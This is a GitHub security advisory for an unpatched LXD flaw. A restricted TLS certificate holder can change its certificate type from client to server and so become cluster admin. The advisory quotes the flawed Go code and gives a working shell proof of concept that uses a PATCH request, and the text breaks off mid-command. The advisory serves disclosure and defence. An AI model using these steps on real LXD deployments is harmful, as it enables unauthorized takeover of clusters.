GitHub Security Advisory: GHSA-c3h3-89qf-jqm5
Package: github.com/canonical/lxd (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerable versions: >= 0.0.0[PII_REDACTED]3314-538ac3df036e, <= 0.0.0[PII_REDACTED]5519-736f34afb267
Patched in: unpatched

Summary: LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Details:
### Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges.

### Details

`doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certificates/{fingerprint}` for both privileged and unprivileged callers. The access handler is `allowAuthenticated`, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the `EntitlementCanEdit` check at line 975), two defenses are intended to prevent field tampering:

1. The guard block validates that `Restricted`, `Name`, and `Projects` match the original database record. Does not check `Type`.
```go
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
```


2. The reset block rebuilds the `dbCert` struct using original values for `Restricted`, `Name`, and `Certificate`. Uses `reqDBType` (caller-supplied) for `Type` instead of the original `dbInfo` type.
```go
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}
```

This allows the attacker to update the `Type` field of their own certificate from `client` to `server`,  bypassing the authorization controls and escalating to cluster admin.

### PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:
```bash
# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user
```

As restricted user:
```bash
# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "re